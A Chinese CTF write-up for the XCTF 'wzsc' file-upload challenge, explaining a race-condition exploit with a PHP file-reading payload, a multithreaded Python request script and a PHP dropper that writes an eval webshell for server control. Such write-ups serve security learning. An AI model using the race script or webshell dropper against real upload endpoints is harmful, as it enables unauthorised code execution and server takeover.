【攻防世界】Web系列之wzsc_文件上传

【攻防世界】Web系列之wzsc_文件上传

题目就是一道文件上传漏洞,但是直接上传php文件会显示成功,但访问时却没有该文件,应该是在后端检验文件后并删除了,所以这里可能存在条件竞争漏洞。

可以在/upload/目录下看到上传成功的文件,下面的test.txt就是我上传的文件

对目标地址进行目录扫描,结果如下

可以看到目录下有个flag.php,直接访问肯定是看不到的。所以这里使用条件竞争漏洞可以通过两种方式取读取flag,一种是上传php文件读取flag.php,一种是上传php文件在上传目录下创建一个webshell文件,获取服务器操作权限。

读取flag.php

上传一个test.php文件,实现读取flag.php的内容

1
<?php show_source('../flag.php');?>

使用burpsuite一直发送该上传包,在使用我们编写的脚本取读取test.php文件,虽然后端在检验上传文件为恶意文件后会删除,但只要我们一直上传的同时去请求该文件,总有机会能在未删除的时候访问到test.php

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import os


class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)

self.url = 'http://61.147.171.105:63255/upload/test.php'

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print(r.text)
os._exit(0)

def run(self):
while True:
for i in range(5):
self._get()

for i in range(10):
self._get()


if __name__ == '__main__':
threads = 50

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

首先在burosuite中一直发送上传文件请求,如下

再运行脚本去访问test.php,可以看到结果得到flag.php内容如下

写webshell

和上面直接读取不一样的只是我们上传的php文件内容,如下

1
<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST['cmd']);?>");?>

还是和上面过程一样,首先使用burosuite一直上传文件,再运行脚本去请求test1.php

最后使用webshell连接工具去连接shell.php获取服务器权限,如下

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信